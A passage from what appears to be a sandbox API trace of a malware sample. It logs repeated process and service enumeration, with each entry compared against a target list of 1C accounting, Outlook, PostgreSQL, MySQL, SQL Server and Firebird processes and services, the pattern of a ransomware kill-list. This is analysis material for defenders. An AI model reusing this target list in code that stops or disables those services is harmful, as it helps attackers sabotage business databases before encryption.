hSnapshot=0x2d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0205.452] lstrlenW (lpString="dwm.exe") returned 7 [0205.452] lstrcmpiW (lpString1="1c8.exe", lpString2="dwm.exe") returned -1 [0205.452] lstrcmpiW (lpString1="1cv77.exe", lpString2="dwm.exe") returned -1 [0205.452] lstrcmpiW (lpString1="outlook.exe", lpString2="dwm.exe") returned 1 [0205.452] lstrcmpiW (lpString1="postgres.exe", lpString2="dwm.exe") returned 1 [0205.452] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="dwm.exe") returned 1 [0205.452] lstrcmpiW (lpString1="mysqld.exe", lpString2="dwm.exe") returned 1 [0205.452] lstrcmpiW (lpString1="sqlservr.exe", lpString2="dwm.exe") returned 1 [0205.452] Process32NextW (in: hSnapshot=0x2d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0205.453] lstrlenW (lpString="svchost.exe") returned 11 [0205.453] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0205.453] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0205.453] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0205.453] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0205.453] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0205.453] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0205.453] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0205.454] Process32NextW (in: hSnapshot=0x2d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x368, pcPriClassBase=8, dwFlags=0x0, szExeFile="driver.exe")) returned 1 [0205.455] lstrlenW (lpString="driver.exe") returned 10 [0205.455] lstrcmpiW (lpString1="1c8.exe", lpString2="driver.exe") returned -1 [0205.455] lstrcmpiW (lpString1="1cv77.exe", lpString2="driver.exe") returned -1 [0205.455] lstrcmpiW (lpString1="outlook.exe", lpString2="driver.exe") returned 1 [0205.455] lstrcmpiW (lpString1="postgres.exe", lpString2="driver.exe") returned 1 [0205.455] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="driver.exe") returned 1 [0205.455] lstrcmpiW (lpString1="mysqld.exe", lpString2="driver.exe") returned 1 [0205.455] lstrcmpiW (lpString1="sqlservr.exe", lpString2="driver.exe") returned 1 [0205.455] Process32NextW (in: hSnapshot=0x2d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0205.457] lstrlenW (lpString="spoolsv.exe") returned 11 [0205.457] lstrcmpiW (lpString1="1c8.exe", lpString2="spoolsv.exe") returned -1 [0205.457] lstrcmpiW (lpString1="1cv77.exe", lpString2="spoolsv.exe") returned -1 [0205.457] lstrcmpiW (lpString1="outlook.exe", lpString2="spoolsv.exe") returned -1 [0205.457] lstrcmpiW (lpString1="postgres.exe", lpString2="spoolsv.exe") returned -1 [0205.457] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="spoolsv.exe") returned -1 [0205.457] lstrcmpiW (lpString1="mysqld.exe", lpString2="spoolsv.exe") returned -1 [0205.457] lstrcmpiW (lpString1="sqlservr.exe", lpString2="spoolsv.exe") returned 1 [0205.457] Process32NextW (in: hSnapshot=0x2d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0205.458] lstrlenW (lpString="taskhost.exe") returned 12 [0205.458] lstrcmpiW (lpString1="1c8.exe", lpString2="taskhost.exe") returned -1 [0205.458] lstrcmpiW (lpString1="1cv77.exe", lpString2="taskhost.exe") returned -1 [0205.458] lstrcmpiW (lpString1="outlook.exe", lpString2="taskhost.exe") returned -1 [0205.459] lstrcmpiW (lpString1="postgres.exe", lpString2="taskhost.exe") returned -1 [0205.459] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="taskhost.exe") returned -1 [0205.459] lstrcmpiW (lpString1="mysqld.exe", lpString2="taskhost.exe") returned -1 [0205.459] lstrcmpiW (lpString1="sqlservr.exe", lpString2="taskhost.exe") returned -1 [0205.459] Process32NextW (in: hSnapshot=0x2d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0205.460] lstrlenW (lpString="svchost.exe") returned 11 [0205.460] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0205.460] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0205.460] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0205.460] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0205.460] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0205.460] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0205.460] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0205.461] Process32NextW (in: hSnapshot=0x2d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0205.461] lstrlenW (lpString="dllhost.exe") returned 11 [0205.461] lstrcmpiW (lpString1="1c8.exe", lpString2="dllhost.exe") returned -1 [0205.462] lstrcmpiW (lpString1="1cv77.exe", lpString2="dllhost.exe") returned -1 [0205.462] lstrcmpiW (lpString1="outlook.exe", lpString2="dllhost.exe") returned 1 [0205.462] lstrcmpiW (lpString1="postgres.exe", lpString2="dllhost.exe") returned 1 [0205.462] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="dllhost.exe") returned 1 [0205.462] lstrcmpiW (lpString1="mysqld.exe", lpString2="dllhost.exe") returned 1 [0205.462] lstrcmpiW (lpString1="sqlservr.exe", lpString2="dllhost.exe") returned 1 [0205.462] Process32NextW (in: hSnapshot=0x2d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x4d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0205.463] lstrlenW (lpString="cmd.exe") returned 7 [0205.463] lstrcmpiW (lpString1="1c8.exe", lpString2="cmd.exe") returned -1 [0205.463] lstrcmpiW (lpString1="1cv77.exe", lpString2="cmd.exe") returned -1 [0205.463] lstrcmpiW (lpString1="outlook.exe", lpString2="cmd.exe") returned 1 [0205.463] lstrcmpiW (lpString1="postgres.exe", lpString2="cmd.exe") returned 1 [0205.463] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="cmd.exe") returned 1 [0205.463] lstrcmpiW (lpString1="mysqld.exe", lpString2="cmd.exe") returned 1 [0205.464] lstrcmpiW (lpString1="sqlservr.exe", lpString2="cmd.exe") returned 1 [0205.464] Process32NextW (in: hSnapshot=0x2d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0205.465] lstrlenW (lpString="reader_sl.exe") returned 13 [0205.465] lstrcmpiW (lpString1="1c8.exe", lpString2="reader_sl.exe") returned -1 [0205.465] lstrcmpiW (lpString1="1cv77.exe", lpString2="reader_sl.exe") returned -1 [0205.465] lstrcmpiW (lpString1="outlook.exe", lpString2="reader_sl.exe") returned -1 [0205.465] lstrcmpiW (lpString1="postgres.exe", lpString2="reader_sl.exe") returned -1 [0205.465] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="reader_sl.exe") returned -1 [0205.465] lstrcmpiW (lpString1="mysqld.exe", lpString2="reader_sl.exe") returned -1 [0205.465] lstrcmpiW (lpString1="sqlservr.exe", lpString2="reader_sl.exe") returned 1 [0205.465] Process32NextW (in: hSnapshot=0x2d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0205.466] lstrlenW (lpString="conhost.exe") returned 11 [0205.466] lstrcmpiW (lpString1="1c8.exe", lpString2="conhost.exe") returned -1 [0205.466] lstrcmpiW (lpString1="1cv77.exe", lpString2="conhost.exe") returned -1 [0205.466] lstrcmpiW (lpString1="outlook.exe", lpString2="conhost.exe") returned 1 [0205.466] lstrcmpiW (lpString1="postgres.exe", lpString2="conhost.exe") returned 1 [0205.467] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="conhost.exe") returned 1 [0205.467] lstrcmpiW (lpString1="mysqld.exe", lpString2="conhost.exe") returned 1 [0205.467] lstrcmpiW (lpString1="sqlservr.exe", lpString2="conhost.exe") returned 1 [0205.467] Process32NextW (in: hSnapshot=0x2d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0205.468] lstrlenW (lpString="mode.com") returned 8 [0205.468] lstrcmpiW (lpString1="1c8.exe", lpString2="mode.com") returned -1 [0205.468] lstrcmpiW (lpString1="1cv77.exe", lpString2="mode.com") returned -1 [0205.468] lstrcmpiW (lpString1="outlook.exe", lpString2="mode.com") returned 1 [0205.468] lstrcmpiW (lpString1="postgres.exe", lpString2="mode.com") returned 1 [0205.468] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="mode.com") returned 1 [0205.468] lstrcmpiW (lpString1="mysqld.exe", lpString2="mode.com") returned 1 [0205.468] lstrcmpiW (lpString1="sqlservr.exe", lpString2="mode.com") returned 1 [0205.468] Process32NextW (in: hSnapshot=0x2d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0205.470] CloseHandle (hObject=0x2d8) returned 1 [0205.470] Sleep (dwMilliseconds=0x1f4) [0206.462] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x8f9b60 [0206.800] EnumServicesStatusExW (in: hSCManager=0x8f9b60, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0206.827] GetLastError () returned 0xea [0206.827] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa08) returned 0x41d2fe8 [0206.828] EnumServicesStatusExW (in: hSCManager=0x8f9b60, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41d2fe8, cbBufSize=0xa08, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41d2fe8, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0207.100] CloseServiceHandle (hSCObject=0x8f9b60) returned 1 [0207.114] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0207.114] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0207.114] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0207.114] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0207.114] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0207.114] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0207.114] lstrlenW (lpString="AudioSrv") returned 8 [0207.115] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0207.115] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0207.115] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0207.115] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0207.115] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0207.115] lstrlenW (lpString="BFE") returned 3 [0207.115] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0207.115] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0207.115] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0207.115] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0207.115] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0207.116] lstrlenW (lpString="CscService") returned 10 [0207.116] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0207.116] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0207.116] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0207.116] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0207.116] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0207.116] lstrlenW (lpString="DcomLaunch") returned 10 [0207.116] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0207.116] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0207.116] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0207.116] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0207.116] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0207.117] lstrlenW (lpString="Dhcp") returned 4 [0207.117] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0207.117] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0207.117] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0207.117] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0207.117] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0207.117] lstrlenW (lpString="Dnscache") returned 8 [0207.117] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0207.117] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0207.117] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0207.117] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0207.117] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0207.118] lstrlenW (lpString="eventlog") returned 8 [0207.118] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0207.118] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0207.118] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0207.118] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0207.118] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0207.118] lstrlenW (lpString="EventSystem") returned 11 [0207.118] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0207.118] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0207.118] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0207.119] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0207.119] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0207.119] lstrlenW (lpString="gpsvc") returned 5 [0207.119] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0207.119] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0207.119] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0207.119] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0207.119] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0207.119] lstrlenW (lpString="lmhosts") returned 7 [0207.119] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0207.119] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0207.119] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0207.119] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0207.119] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0207.120] lstrlenW (lpString="MMCSS") returned 5 [0207.120] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0207.120] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0207.120] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0207.120] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0207.120] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0207.120] lstrlenW (lpString="nsi") returned 3 [0207.120] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0207.120] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0207.120] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0207.120] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0207.120] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0207.121] lstrlenW (lpString="PlugPlay") returned 8 [0207.121] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0207.121] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0207.121] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0207.121] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0207.121] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0207.121] lstrlenW (lpString="Power") returned 5 [0207.121] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0207.121] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0207.121] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0207.121] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0207.121] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0207.121] lstrlenW (lpString="ProfSvc") returned 7 [0207.122] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0207.122] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0207.122] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0207.122] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0207.122] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0207.122] lstrlenW (lpString="RpcEptMapper") returned 12 [0207.122] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0207.122] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0207.122] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0207.122] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0207.122] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0207.122] lstrlenW (lpString="RpcSs") returned 5 [0207.123] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0207.123] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0207.123] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0207.123] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0207.123] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0207.123] lstrlenW (lpString="SamSs") returned 5 [0207.123] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0207.123] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0207.123] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0207.123] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0207.123] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0207.123] lstrlenW (lpString="Schedule") returned 8 [0207.124] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0207.124] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0207.124] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0207.124] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0207.124] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0207.124] lstrlenW (lpString="SENS") returned 4 [0207.125] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0207.125] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0207.125] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0207.125] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0207.125] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0207.125] lstrlenW (lpString="ShellHWDetection") returned 16 [0207.125] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0207.125] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0207.125] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0207.125] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0207.125] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0207.125] lstrlenW (lpString="Spooler") returned 7 [0207.125] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0207.125] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0207.125] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0207.126] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0207.126] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0207.126] lstrlenW (lpString="Themes") returned 6 [0207.126] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0207.126] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0207.126] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0207.126] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0207.126] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0207.126] lstrlenW (lpString="UxSms") returned 5 [0207.126] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0207.126] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0207.127] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0207.127] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0207.127] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0207.127] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x41d2fe8 | out: hHeap=0x880000) returned 1 [0207.127] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x308 [0207.131] Process32FirstW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0207.132] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0207.133] lstrlenW (lpString="System") returned 6 [0207.133] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0207.133] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0207.133] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0207.133] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0207.133] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0207.133] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0207.133] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0207.134] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0207.135] lstrlenW (lpString="smss.exe") returned 8 [0207.135] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0207.135] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0207.135] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0207.135] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0207.135] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0207.135] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0207.135] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0207.135] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0207.136] lstrlenW (lpString="csrss.exe") returned 9 [0207.136] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0207.136] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0207.136] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0207.137] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0207.137] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0207.137] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0207.137] lstrcmpiW (lpString1="sqlservr.exe", 